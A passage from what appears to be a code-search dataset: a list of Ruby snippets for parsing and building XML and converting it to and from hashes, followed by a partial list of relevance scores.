value.instance_of?(Hash)\n\t\t\thash_to_xml(element,value)\n\t\telsif !value.nil?\n\t\t\traise \"Unsupported value type #{value.class}\"\n\t\tend\n\t\troot.add_element element\n\tend\n\treturn root\nend", "def value_from_node(xml)\n collect_for(xml) do |node|\n create_object.from_node(node)\n end\n end", "def xml_serialization\n {\n \"xml\" => self.xml\n }\n end", "def to_xml(xml)\n xml.member(:type => type, :ref => ref, :role => role)\n end", "def decode(xml)\n xml_hash = ActiveResource::Formats::XmlFormat.decode(xml)\n valid_hash = xml_hash.try(:[],'Registrations').try(:[],'Registration') || xml_hash\n valid_hash[\"StudentPersonResource\"] = valid_hash.delete(\"Person\") if valid_hash.is_a?(Hash) && valid_hash[\"Person\"]\n valid_hash\n end", "def test_parse_valid_xml_returns_hash\n name = \"A name\"\n type = \"A type\"\n xml = \"<data><name>#{name}</name><type>#{type}</type></data>\"\n parser = ChainReactor::Parsers::XmlSimpleParser.new get_logger\n cause = parser.parse(xml,[],false)\n assert_equal name, cause['name'].first\n assert_equal type, cause['type'].first\n end", "def import_xml(node)\n ret = nil\n\n case node.name\n when 'dict'\n hsh = Hash.new\n key = nil\n\n if node.children? then\n node.children.each do |n|\n next if n.text? # avoid a bug of libxml\n next if n.comment?\n\n if n.name == \"key\" then\n key = get_value(n)\n else\n raise CFFormatError.new(\"Format error!\") if key.nil?\n hsh[key] = import_xml(n)\n key = nil\n end\n end\n end\n\n if hsh['CF$UID'] and hsh.keys.length == 1\n ret = CFUid.new(hsh['CF$UID'].value)\n else\n ret = CFDictionary.new(hsh)\n end\n\n when 'array'\n ary = Array.new\n\n if node.children? then\n node.children.each do |n|\n next if n.text? # avoid a bug of libxml\n next if n.comment?\n ary.push import_xml(n)\n end\n end\n\n ret = CFArray.new(ary)\n\n when 'true'\n ret = CFBoolean.new(true)\n when 'false'\n ret = CFBoolean.new(false)\n when 'real'\n ret = CFReal.new(get_value(node).to_f)\n when 'integer'\n ret = CFInteger.new(get_value(node).to_i)\n when 'string'\n ret = CFString.new(get_value(node))\n when 'data'\n ret = CFData.new(get_value(node))\n when 'date'\n ret = CFDate.new(CFDate.parse_date(get_value(node)))\n end\n\n return ret\n end", "def import_xml_common(ent, node)\n REXML::XPath.each(node, \"./ctx:identifier\", {\"ctx\" => \"info:ofi/fmt:xml:xsd:ctx\"}) do |id|\n ent.add_identifier(id.get_text.value) if id and id.has_text?\n end\n\n priv = REXML::XPath.first(node, \"./ctx:private-data\", {\"ctx\" => \"info:ofi/fmt:xml:xsd:ctx\"})\n ent.set_private_data(priv.get_text.value) if priv and priv.has_text?\n\n ref = REXML::XPath.first(node, \"./ctx:metadata-by-ref\", {\"ctx\" => \"info:ofi/fmt:xml:xsd:ctx\"})\n if ref\n reference = {}\n ref.to_a.each do |r|\n if r.name == \"format\"\n reference[:format] = r.get_text.value if r.get_text\n else\n reference[:location] = r.get_text.value\n end\n end\n ent.set_reference(reference[:location], reference[:format])\n end\n end", "def generate_xml_from_hash(hash, base_type, collection_key)\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.send(base_type) { process_simple_array(collection_key, hash, xml) }\n end\n\n builder.to_xml\n end", "def generate_xml_from_hash(hash, base_type, collection_key)\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.send(base_type) { process_simple_array(collection_key, hash, xml) }\n end\n\n builder.to_xml\n end", "def to_h\n doc = Nokogiri::XML raw.body\n hash = Hash.from_xml doc.to_xml\n Hashie::Mash.new(symbolize_keys_deep(hash))\n end", "def process_request(legacy_xml_or_hash)\n c.soap(:ProcessRequest, { \n :ProcessRequest => { \n :_attributes => { :xmlns => 'http://wildwestdomains.com/webservices/' },\n :sRequestXML => \n c.class.escape_html(\n \"<wapi clTRID='#{GoDaddyReseller::API.next_uid[0..50]}'\" + \n \" account='#{user_id}' pwd='#{password}'>\" +\n \"#{legacy_xml_or_hash.is_a?(Hash) ? c.class.xml_encode_hash(legacy_xml_or_hash) : legacy_xml_or_hash.to_s}\" +\n \"</wapi>\"\n )\n }\n }\n )\n end", "def parse( data )\n Hashie::Mash.new( \n Hash.from_xml( data ) )\n end", "def test_parse_valid_xml_returns_hash_with_symbol_keys\n name = \"A name\"\n type = \"A type\"\n xml = \"<data><name>#{name}</name><type>#{type}</type></data>\"\n parser = ChainReactor::Parsers::XmlSimpleParser.new get_logger\n cause = parser.parse(xml,[],true)\n assert_equal name, cause[:name].first\n assert_equal type, cause[:type].first\n end", "def fix_hash(xml_result)\n return nil if xml_result.nil? or (xml_result.class != Hash) or xml_result[\"xmldata\"].nil?\n hash = xml_result[\"xmldata\"]\n\n key = hash.keys.first\n hash[key] = to_arr_if_needed hash[key]\n\n #fix same issue for orderDetails if more then one product for order\n if key == \"Orders\"\n hash[\"Orders\"].each do |order|\n if order[\"OrderDetails\"]\n order[\"OrderDetails\"] = to_arr_if_needed order[\"OrderDetails\"]\n end\n end\n end\n return hash\n end", "def from_xml(xml, opts=OPTS)\n from_xml_node(Nokogiri::XML(xml).children.first, opts)\n end", "def from_xml(node)\r\n @story_id = node['id']\r\n @title = node['name']\r\n @description = node['description'] || \"\"\r\n @url = node['url']\r\n accepted_at_node = node['accepted_at']\r\n @accepted_at = accepted_at_node.nil? ? nil : DateTime.parse(accepted_at_node)\r\n @created_at = DateTime.parse(node['created_at'])\r\n @updated_at = DateTime.parse(node['updated_at'])\r\n @requested_by_id = node['requested_by_id']\r\n @current_state = node['current_state']\r\n owned_by_node = node['owned_by']\r\n @owned_by_id = node['owned_by_id'] # owned_by_node.nil? || owned_by_node.length == 0 ? 'no one' : owned_by_node\r\n @story_type = node['story_type']\r\n estimate_node = node['estimate']\r\n @estimate = estimate_node.nil? ? 0 : estimate_node.to_i\r\n @estimate = 0 if @estimate < 0\r\n labelnode = node['labels']\r\n @labels = labelnode\r\n\r\n self\r\n end", "def deserialise(xml)\n __deserialise Nokogiri::XML(xml)\n end", "def parse_xml(xml)\n new from_xml(xml)\n end", "def from_xml_data(data)\n if data.is_a?(Hash) && data.keys.size == 1\n data.values.first[@root]\n else\n data[@root]\n end\n end", "def instance_to_xml\r\n ATTRIBUTES_MAP.each do |name, hash|\r\n elem = @xml.root.elements[hash[\"element\"]]\r\n elem = @xml.root.elements.add(hash[\"element\"]) if elem.nil?\r\n val = self.send(name)\r\n val = self.send(hash[\"to_xml\"], val) if hash.has_key?(\"to_xml\")\r\n if hash.has_key?(\"attribute\")\r\n elem.attributes[hash[\"attribute\"]] = val\r\n else\r\n elem.text = val\r\n end\r\n end\r\n end", "def parse_xml xml\n result = XmlSimple.xml_in(xml, {'ForceArray' => false})\n result = result['result'] if result['result']\n result\n end", "def to_xml!\n self.to_hash.to_xml({:root => 'whoisapi'})\n end", "def array_to_xml(hash, xml)\n require \"active_support/core_ext\"\n return hash.to_xml(:root => 'queue')\n end", "def createHashtableFromString( xml )\n\n docType = \"<!DOCTYPE\"\n encoding = \"encoding=\\\"\"\n #TO-DO : parser functions in own element\n if xml.index(encoding) != nil\n xml = Parser.replace(xml, xml[xml.index(encoding)-1..xml.index(\"\\\"\",xml.index(encoding)+encoding.size)],\"#{encoding}#{@xmlEncoding}\\\"\")\n end\n if(xml.index(docType) != nil)\n #puts \"\\n\\n\\n----------------XML Before-------------------\\n#{xml}\"\n xml = Parser.replace(xml, xml[xml.index(docType)..xml.index(\">\",xml.index(docType)+docType.size)],\"\")\n #puts \"\\n\\n\\n----------------XML After-------------------\\n#{xml}\"\n end\n #System.out.println(\"\\n\\n\\n----------------XML-------------------\\n\"+xml);\n xmlDoc = XMLDocument.new(xml,false)\n #System.out.println(\"\\n\\n\\n----------------XML-------------------\\n\"+xmlDoc.toString());\n return createHashtableFromXMLDocument(xmlDoc) #Returns the Document\n end", "def parse_xml_collection(xml_text)\n hash = Hash.from_xml(replace_nested_xml_tags(xml_text))\n if 1 == hash.size && hash.first.last.is_a?(Array)\n tag_name = hash.keys.first.singularize\n return get_hash_array_from_xml_object(hash, tag_name)\n else\n raise \"Bad object: Unexpected format: #{hash.inspect}\"\n end\n end", "def import_xml(xml)\n if xml.is_a?(String)\n xml.force_encoding(\"UTF-8\") if xml.respond_to? :force_encoding\n xml.scrub!\n doc = REXML::Document.new xml.gsub(/>[\\s\\t]*\\n*[\\s\\t]*</, \"><\").strip\n elsif xml.is_a?(REXML::Document)\n doc = xml\n else\n raise ArgumentError, \"Argument must be an REXML::Document or well-formed XML string\"\n end\n\n # Cut to the context object\n ctx = REXML::XPath.first(doc, \".//ctx:context-object\", {\"ctx\" => \"info:ofi/fmt:xml:xsd:ctx\"})\n\n ctx.attributes.each do |attr, val|\n @admin.each do |adm, vals|\n set_administration_key(adm, val) if vals[\"label\"] == attr\n end\n end\n ctx.to_a.each do |ent|\n if @@defined_entities.value?(ent.name)\n import_entity(ent)\n else\n import_custom_node(ent)\n end\n end\n end", "def parse_xml\n if @xml.nil?\n @xml = \"\"\n REXML::Document.new(@dbrow[:xml].read).write(@xml, 2)\n end\n\n @xmldoc = REXML::Document.new(@xml)\n @attributes = {}\n @xmldoc.root.attributes.keys.each do |att_name|\n @attributes[att_name] = @xmldoc.root.attributes[att_name]\n end\n\n @properties = {}\n REXML::XPath.each(@xmldoc, \"//property\") do |prop_node|\n prop_name = prop_node.attributes[\"name\"]\n prop_encoding = prop_node.attributes[\"enc\"]\n prop_value = prop_node.attributes[\"value\"]\n\n if prop_encoding == \"BASE64\"\n prop_value = Base64.decode64(prop_value)\n else\n raise UnrecognizedPropertyEncodingException.new(prop_name, prop_encoding, prop_value)\n end\n @properties[prop_name] = prop_value\n end\n\n @dbrow[:_xml_entity_created_by] = @properties[\"CHEF:creator\"]\n @dbrow[:_xml_entity_modified_by] = @properties[\"CHEF:modifiedby\"]\n @dbrow[:_xml_entity_created_at] = Util.format_entity_date(@properties[\"DAV:creationdate\"])\n @dbrow[:_xml_entity_modified_at] = Util.format_entity_date(@properties[\"DAV:getlastmodified\"])\n end", "def to_xml()\n XmlSimple.xml_out( { :address => self.to_hash() }, { :KeepRoot=>true, :NoAttr=>true } )\n end", "def parseHashtableToXML(hmXML)\n\n xml = \"\"\n if(@APPEND_HEADER)\n xml = \"<?xml version=\\\"#{@xmlVersion}\\\" encoding=\\\"#{@xmlEncoding}\\\"?>\\n\"\n end\n xml.concat(getXMLFromHashtable(hmXML,0))\n return xml.encode(@xmlEncoding)\n end", "def transform(from_xml, map=nil, from_qname=nil, to_qname=nil, handle_soap=true)\n soap = false\n \n parser = SOAP::Parser.new(XSD::Mapping::Mapper::MAPPING_OPT)\n preparsed = parser.parse(from_xml)\n\n if from_qname.nil?\n from_qname = preparsed.elename\n end\n \n if handle_soap and from_qname == XSD::QName.new(\"http://schemas.xmlsoap.org/soap/envelope/\",\"Envelope\")\n soap = true\n #for soap remove envelope\n preparsed = preparsed.body.root_node\n from_qname = preparsed.elename\n end\n \n \n from_mapper = XSD::Mapping::Mapper.find_mapper_for_type(from_qname)\n \n if from_mapper.nil?\n from_mapper = @default_mapper\n end\n \n from_clazz = XSD::Mapping::Mapper.get_class_from_qname(from_qname) unless from_qname.nil?\n begin\n parsed =SOAP::Mapping.soap2obj(preparsed, from_mapper.registry, from_clazz)\n rescue NoMethodError => e\n raise ParsingFailedException.new(\"Parsing failed for xml with root element: #{from_qname}\")\n end\n\n map ||= @ruby_transform.map_catalogue[from_qname]\n map ||= @ruby_transform.map_catalogue[from_qname.name.to_sym] unless from_qname.name.nil?\n if not map.nil? and not map.kind_of?(Map)\n map = @ruby_transform.map_catalogue[map.to_sym]\n end\n\n begin\n transformed = @ruby_transform.transform(parsed, map)\n rescue MapMissingException => e\n if e.from == parsed\n raise MapMissingException.new(e.from,\"Map for element \\\"#{from_qname}\\\" not found!\")\n else\n e.from = to_xml_string(e.from)\n e.to = to_xml_string(e.to)\n e.from_root = to_xml_string(e.from_root)\n e.to_root = to_xml_string(e.to_root)\n raise e\n end\n rescue MappumException => e\n e.from = to_xml_string(e.from)\n e.to = to_xml_string(e.to)\n e.from_root = to_xml_string(e.from_root)\n e.to_root = to_xml_string(e.to_root)\n raise e\n end\n \n return to_xml_string(transformed, map, to_qname, soap)\n end", "def parse\n Ox.parse(@xml)\n end", "def from_xml_to_hash(xml)\n begin\n Hash.from_xml(xml)\n rescue REXML::ParseException => e\n {\n 'Response' => {\n 'Response_Code' => '01',\n 'Response_Text' => error_message_from_invalid_xml(xml)\n }\n }\n end\n end", "def init_jaxb_json_hash(_o)\n @url = String.from_json(_o['url']) unless _o['url'].nil?\n @system = String.from_json(_o['system']) unless _o['system'].nil?\n end", "def init_jaxb_json_hash(_o)\n @url = String.from_json(_o['url']) unless _o['url'].nil?\n @system = String.from_json(_o['system']) unless _o['system'].nil?\n end", "def from_xml_via_map(xml)\n nodes, map = find_nodes_and_map(xml)\n return nil if map.nil?\n instances = []\n\n nodes.each do |node|\n attrs = attrs_from_node_and_registry(node, map[:registry])\n instance = self.from_hash(attrs)\n \n map[:associations].each do |association|\n # TODO: spec\n instance.association_from_xml(node.to_s, association)\n end\n \n b = map[:block]\n if b\n case b.arity # number of parameters\n when 1\n b.call(instance)\n when 2\n b.call(instance, node)\n end\n end\n \n return instance unless map[:all]\n instances << instance\n end\n \n return instances\n end", "def xml_node_to_hash(nokogiri_node)\n\t\t\tattributes = Hash.new\n\n\t\t\tnokogiri_node.each do |k,v|\n\t\t\t\tattributes[k.to_sym] = v.value\n\t\t\tend\n\n\t\t\treturn attributes\n\t\tend", "def association_from_xml(xml, association, klass = nil)\n klass ||= association.to_s.capitalize.singularize.camelcase.constantize \n\n association_instance = klass.from_xml(xml)\n return if association_instance.nil?\n \n self.send(association.to_s + \"=\", association_instance)\n end", "def contacts_from_xml(xml)\n Hash.from_xml(xml)[\"contacts\"][\"contact\"]\n end", "def process_xml(xml)\n doc = REXML::Document.new xml\n @message_identifier = doc.text(\"//imsx_statusInfo/imsx_messageIdentifier\").to_s\n @code_major = doc.text(\"//imsx_statusInfo/imsx_codeMajor\")\n @code_major.downcase! if @code_major\n @severity = doc.text(\"//imsx_statusInfo/imsx_severity\")\n @severity.downcase! if @severity\n @description = doc.text(\"//imsx_statusInfo/imsx_description\")\n @description = @description.to_s if @description\n @message_ref_identifier = doc.text(\"//imsx_statusInfo/imsx_messageRefIdentifier\")\n @operation = doc.text(\"//imsx_statusInfo/imsx_operationRefIdentifier\")\n @score = doc.text(\"//readResultResponse//resultScore/textString\")\n @score = @score.to_s if @score\n end", "def init_jaxb_json_hash(_o)\n super _o\n end", "def init_jaxb_json_hash(_o)\n super _o\n end", "def init_jaxb_json_hash(_o)\n super _o\n end", "def init_jaxb_json_hash(_o)\n super _o\n end", "def xml_value_from_field(b, field, value)\n case field[:type]\n when :guid then b.tag!(field[:api_name], value)\n when :string then b.tag!(field[:api_name], value)\n when :boolean then b.tag!(field[:api_name], value ? 'true' : 'false')\n when :integer then b.tag!(field[:api_name], value.to_i)\n when :decimal\n real_value = case value\n when BigDecimal then value.to_s\n when String then BigDecimal(value).to_s\n else value\n end\n b.tag!(field[:api_name], real_value)\n\n when :date\n real_value = case value\n when Date then value.strftime(\"%Y-%m-%d\")\n when Time then value.utc.strftime(\"%Y-%m-%d\")\n when NilClass then nil\n else raise ArgumentError.new(\"Expected Date or Time object for the #{field[:api_name]} field\")\n end\n b.tag!(field[:api_name], real_value)\n\n when :datetime then b.tag!(field[:api_name], value.utc.strftime(\"%Y-%m-%dT%H:%M:%S\"))\n when :belongs_to\n value.to_xml(b)\n nil\n\n when :has_many\n if value.size > 0\n sub_parent = value.first.parent\n b.tag!(sub_parent.class.xml_root_name || sub_parent.model_name.pluralize) {\n value.each { | record | record.to_xml(b) }\n }\n nil\n end\n\n end\n end", "def to_xml\n\t\tmsg_xml = ''\n\t\t@hash.each do |info|\n\t\t\tmsg_xml += \"<#{info.key}>#{xml(info.value)}</#{info.key}>\\n\"\n\t\tend\n\t\tmsg_xml\n\tend", "def parseXML()\n @transform = PoortegoTransform.new('ParsedResponse')\n result_href = XmlSimple.xml_in(@xml_response.to_s)\n \n unless (result_href.has_key?('ResponseData'))\n return\n end\n \n (result_href['ResponseData'])[0].each do |response_key, response_val|\n if (response_key == 'Entities')\n parse_entities_hash(response_val)\n elsif (response_key == 'Links')\n parse_links_hash(response_val)\n else\n puts \"Invalid ResponseData key\"\n end\n end\n \n (result_href['ResponseMessages'])[0].each do |message_key, message_val|\n if (message_key == 'Message')\n parse_message_hash(message_val)\n else\n puts \"Invalid ResponseMessages key\"\n end\n end\n \n end", "def xml_data(xml)\n return unless xml = Objectify::Xml.first_element(xml)\n # There is something wrong with Nokogiri xpath/css search with\n # namespaces. If you are searching a document that has namespaces,\n # it's impossible to match any elements in the root xmlns namespace.\n # Matching just on attributes works though.\n feed, entry = xml.search('//*[@term][@scheme]', xml.namespaces)\n feed_self, entry_self = xml.search('//*[@rel=\"self\"][@type=\"application/atom+xml\"]', xml.namespaces)\n feed_scheme = feed['term'] if feed\n entry_scheme = entry['term'] if entry\n feed_href = feed_self['href'] if feed_self\n entry_href = entry_self['href'] if entry_self\n [xml, feed_scheme, entry_scheme, feed_href, entry_href]\n end", "def build(xml, key, value)\n case value\n when Hash\n xml.tag!(key.to_s){|t|\n value.each { |k, v|\n build(t, k, v)\n }\n }\n when Array\n value.each {|v|\n build(xml, key, v)\n }\n else\n xml_leaf(xml, key, value)\n end\n end", "def parse_xml\n\n raise \"parse_xml method has not been implemented in this class\"\n \n end", "def to_xml(xml)\n xml.Override(self.instance_values)\n end", "def xml_elements_for_value(v, doc)\n\t\tcase v\n\t\twhen Hash\n\t\t\tv.map do |key, value|\n\t\t\t\tname = acceptable_xml_name(key)\n#\t\t\t\tRails.logger.debug \"key = #{key.inspect}, name = #{name.inspect}\"\n\n\t\t\t\tattrs = {}\n\t\t\t\tattrs[:orig_key] = key.to_s unless name == key.to_s\n\n\t\t\t\tdoc.send(\"rails:#{name}\", attrs) do\n\t\t\t\t\txml_elements_for_value(value, doc)\n\t\t\t\tend\n\t\t\tend\n\t\twhen Array\n\t\t\tv.map do |value|\n\t\t\t\tdoc.send('rails:elem') do\n\t\t\t\t\txml_elements_for_value(value, doc)\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tif v.respond_to?(:to_xml)\n\t\t\t\tdoc.parent << v\n\t\t\telsif v.respond_to?(:to_s)\n#\t\t\t\tRails.logger.debug \"v = #{v.inspect}\"\n\t\t\t\tdoc.text v.to_s\n\t\t\telse\n\t\t\t\traise \"Cannot XMLify #{v.inspect}\"\n\t\t\tend\n\t\tend\n\tend", "def authed_xml_as_string(builder, &block)\n builder.instruct!(:xml, :version=>\"1.0\", :encoding=>\"UTF-8\")\n builder.Request(:xmlns => \"urn:sbx:apis:SbxBaseComponents\") do\n builder.RequesterCredentials do\n builder.ApiUserToken(connection.api_user_token)\n builder.SbxUserToken(connection.sbx_user_token)\n end\n block.call\n end\n\n builder.target!\n end", "def init_jaxb_json_hash(_o)\n @url = String.from_json(_o['url']) unless _o['url'].nil?\n @name = String.from_json(_o['name']) unless _o['name'].nil?\n end", "def init_jaxb_json_hash(_o)\n super _o\n if !_o['effectiveFrom'].nil?\n _oa = _o['effectiveFrom']\n if(_oa.is_a? Hash)\n @effectiveFrom = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @effectiveFrom = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @effectiveFrom = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @effectiveFrom.push String.from_json(_item)\n else\n @effectiveFrom.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @effectiveFrom = _oa\n end\n end\n if !_o['merchantSourceSubscriptionId'].nil?\n _oa = _o['merchantSourceSubscriptionId']\n if(_oa.is_a? Hash)\n @merchantSourceSubscriptionId = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @merchantSourceSubscriptionId = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @merchantSourceSubscriptionId = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @merchantSourceSubscriptionId.push String.from_json(_item)\n else\n @merchantSourceSubscriptionId.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @merchantSourceSubscriptionId = _oa\n end\n end\n if !_o['settlement'].nil?\n _oa = _o['settlement']\n if(_oa.is_a? Hash)\n @settlement = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @settlement = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @settlement = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @settlement.push String.from_json(_item)\n else\n @settlement.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @settlement = _oa\n end\n end\n if !_o['preview'].nil?\n _oa = _o['preview']\n if(_oa.is_a? Hash)\n @preview = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @preview = Boolean.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @preview = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @preview.push Boolean.from_json(_item)\n else\n @preview.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @preview = _oa\n end\n end\n end", "def xml_elements_for_value(v, doc)\n\t\tcase v\n\t\twhen Hash\n\t\t\tv.map do |key, value|\n\t\t\t\tname = acceptable_xml_name(key)\n\t\t\t\tRails.logger.debug \"key = #{key.inspect}, name = #{name.inspect}\"\n\n\t\t\t\tattrs = {}\n\t\t\t\tattrs[:orig_key] = key.to_s unless name == key.to_s\n\n\t\t\t\tdoc.send(\"rails:#{name}\", attrs) do\n\t\t\t\t\txml_elements_for_value(value, doc)\n\t\t\t\tend\n\t\t\tend\n\t\twhen Array\n\t\t\tv.map do |value|\n\t\t\t\tdoc.send('rails:elem') do\n\t\t\t\t\txml_elements_for_value(value, doc)\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tif v.respond_to?(:to_xml)\n\t\t\t\tdoc.parent << v\n\t\t\telsif v.respond_to?(:to_s)\n\t\t\t\tRails.logger.debug \"v = #{v.inspect}\"\n\t\t\t\tdoc.text v.to_s\n\t\t\telse\n\t\t\t\traise \"Cannot XMLify #{v.inspect}\"\n\t\t\tend\n\t\tend\n\tend", "def process_xml\n @doc.css(\"Details\").children.each do |ir8arecord|\n data_map = {}\n\n # IR8ARecord --> ESubmissionSDSC --> IR8AST\n\n ir8arecord.child.child.children.each do |data|\n data_map[data.name] = data.content\n end\n\n @xml_map << data_map\n end\n\n @xml_map\n\n end", "def sanitised_tags(xml)\n if xml.key?('tag')\n {:tags => _extract_tags(xml['tag'])}\n else\n {}\n end\n end", "def parse_contrail_xml(data)\n document = REXML::Document.new(data)\n xmpp = Hash.new\n node = 0\n document.elements.each('//AgentXmppData') do |x|\n elements = x.elements\n xmpp[node] = {\n :controller_ip => elements['controller_ip'].text,\n :state => elements['state'].text,\n :last_state => elements['last_state'].text,\n :last_state_at => elements['last_state_at'].text,\n :cfg_controller => elements['cfg_controller'].text,\n :mcast_controller => elements['mcast_controller'].text\n }\n node+=1\n end\n return xmpp\nend", "def load_from_xml(node)\n # Get all information from the root's children nodes\n node.children.each do |child|\n case child.name.to_s\n when 'id'\n @id = child.content.to_i\n when 'title'\n @title = child.content\n when 'image'\n check_image_node(child)\n when 'date'\n @date = Time.parse(child.content)\n when 'streamable'\n check_streamable_node(child)\n when 'size'\n @size = child.content.to_i\n when 'description'\n @description = child.content\n when 'duration'\n @duration = child.content.to_i\n when 'creator'\n @creator = child.content\n when 'url'\n @url = child.content\n when 'text'\n # ignore, these are only blanks\n when '#text'\n # libxml-jruby version of blanks\n else\n raise NotImplementedError, \"Field '#{child.name}' not known (#{child.content})\"\n end #^ case\n end #^ do |child|\n end", "def touchdowns_hash(stats_xml)\n { number: stats_xml[:number].to_i }.merge(children_first_text_hash(stats_xml))\n end", "def init_jaxb_json_hash(_o)\n super _o\n if !_o['merchantSubscriptionId'].nil?\n _oa = _o['merchantSubscriptionId']\n if(_oa.is_a? Hash)\n @merchantSubscriptionId = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @merchantSubscriptionId = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @merchantSubscriptionId = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @merchantSubscriptionId.push String.from_json(_item)\n else\n @merchantSubscriptionId.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @merchantSubscriptionId = _oa\n end\n end\n if !_o['effectiveFrom'].nil?\n _oa = _o['effectiveFrom']\n if(_oa.is_a? Hash)\n @effectiveFrom = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @effectiveFrom = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @effectiveFrom = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @effectiveFrom.push String.from_json(_item)\n else\n @effectiveFrom.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @effectiveFrom = _oa\n end\n end\n end", "def to_xml\n Nokogiri::XML::Builder.new do |xml|\n xml['me'].env({ 'xmlns:me' => XMLNS }) do\n xml['me'].data({ type: type }, OStatus2::Salmon.encode_base64url(body))\n xml['me'].encoding(encoding)\n xml['me'].alg(alg)\n xml['me'].sig({ key_id: key_id }, OStatus2::Salmon.encode_base64url(sig))\n end\n end.to_xml\n end", "def equivalent_rexml(other)\n begin\n require 'active_support'\n require 'active_support/core_ext'\n rescue LoadError\n # string equivalence\n end\n\n if Hash.respond_to?(:from_xml)\n Hash.from_xml(\"<root>#{self}</root>\") == Hash.from_xml(\"<root>#{other}</root>\")\n else\n # Poor mans equivalent\n value == other.value\n end\n end", "def process_xml_document(document)\n\t\tdocument.elements.each('serviceList/service') do | service |\n\t\t\tshop_hash = Hash.new\n\n\t\t\tshop_hash[\"shop_id\"] = service.attributes[\"id\"]\n\t\t\tshop_hash[\"shop_updated_at\"] = service.attributes[\"fechaActualizacion\"]\n\n\t\t\tservice.elements.each('basicData') do | basic |\n\t\t\t\t(name, email, phone, fax, title, body, web) = process_basic(basic)\n\n\t\t\t\tshop_hash[\"shop_name\"] = name\n\t\t\t\tshop_hash[\"shop_email\"] = email\n\t\t\t\tshop_hash[\"shop_phone\"] = phone\n\t\t\t\tshop_hash[\"shop_fax\"] = fax\n\t\t\t\tshop_hash[\"shop_title\"] = title\n\t\t\t\tshop_hash[\"shop_body\"] = body\n\t\t\t\tshop_hash[\"shop_web\"] = web\n\t\t\tend\n\n\t\t\tservice.elements.each('geoData') do | geo |\n\t\t\t\t(calle, zipcode, locality, country, latitude, longitude, subAdministrativeArea) = process_geo(geo)\n\n\t\t\t\tshop_hash[\"shop_street\"] = calle\n\t\t\t\tshop_hash[\"shop_zipcode\"] = zipcode\n\t\t\t\tshop_hash[\"shop_locality\"] = locality\n\t\t\t\tshop_hash[\"shop_country\"] = country\n\t\t\t\tshop_hash[\"shop_coordinates_latitude\"] = latitude\n\t\t\t\tshop_hash[\"shop_coordinates_longitude\"] = longitude\n\t\t\t\tshop_hash[\"shop_subarea\"] = subAdministrativeArea\n\t\t\tend\n\n\t\t\tservice.elements.each('extradata') do | extra |\n\t\t\t\t(id_tipo, tipo, pago, horario, id_categoria, categoria) = process_extra(extra)\n\n\t\t\t\tshop_hash[\"shop_type_id\"] = id_tipo\n\t\t\t\tshop_hash[\"shop_type\"] = tipo\n\t\t\t\tshop_hash[\"shop_category_id\"] = id_categoria\n\t\t\t\tshop_hash[\"shop_category\"] = categoria\n\n\t\t\t\tif pago != \"\" then\n\t\t\t\t\tshop_hash[\"shop_payments\"] = pago\n\t\t\t\tend\n\n\t\t\t\tif horario != \"\" then\n\t\t\t\t\tshop_hash[\"shop_timetable\"] = horario\n\t\t\t\tend \n\t\t\tend\n\t\t\t\n\t\t\tdatagram = compose_datagram(shop_hash)\n\t\t\t@datagrams.push(datagram)\n\n\t\t\tshop_hash.clear()\n\t\tend\n\tend" ]
[ "0.6556407", "0.65182066", "0.6516992", "0.6488448", "0.6396287", "0.63739157", "0.6326933", "0.63127947", "0.6222862", "0.61795354", "0.6104043", "0.60197496", "0.5995353", "0.5971147", "0.5899489", "0.58960176", "0.58475167", "0.5832227", "0.58290184", "0.5815823", "0.5805213", "0.57746077", "0.57703274", "0.5680027", "0.5676308", "0.56734455", "0.5642409", "0.56286734", "0.56166816", "0.5612381", "0.5608182", "0.55987954", "0.5570348", "0.55641824", "0.55609137", "0.5543579", "0.55431455", "0.55344045", "0.550935", "0.5504064", "0.54990053", "0.5476962", "0.54652655", "0.5463754", "0.5445025", "0.54236984", "0.541947", "0.5403447", "0.54014266", "0.5394943", "0.53844386", "0.53536654", "0.534393", "0.5336279", "0.5335749", "0.5332079", "0.5321676", "0.53161883", "0.5295646", "0.5290084", "0.52855176", "0.52832174", "0.52726287", "0.5270099", "0.52658516", "0.5259672", "0.5254174", "0.52403796", "0.52403796", "0.52265024", "0.5222061", "0.52217484", "0.5218381", "0.5214704", "0.5173297", "0.5173297", "0.5173297", "0.5173297", "0.51677203", "0.51644075", "0.5163755", "0.5162041", "0.5158358", 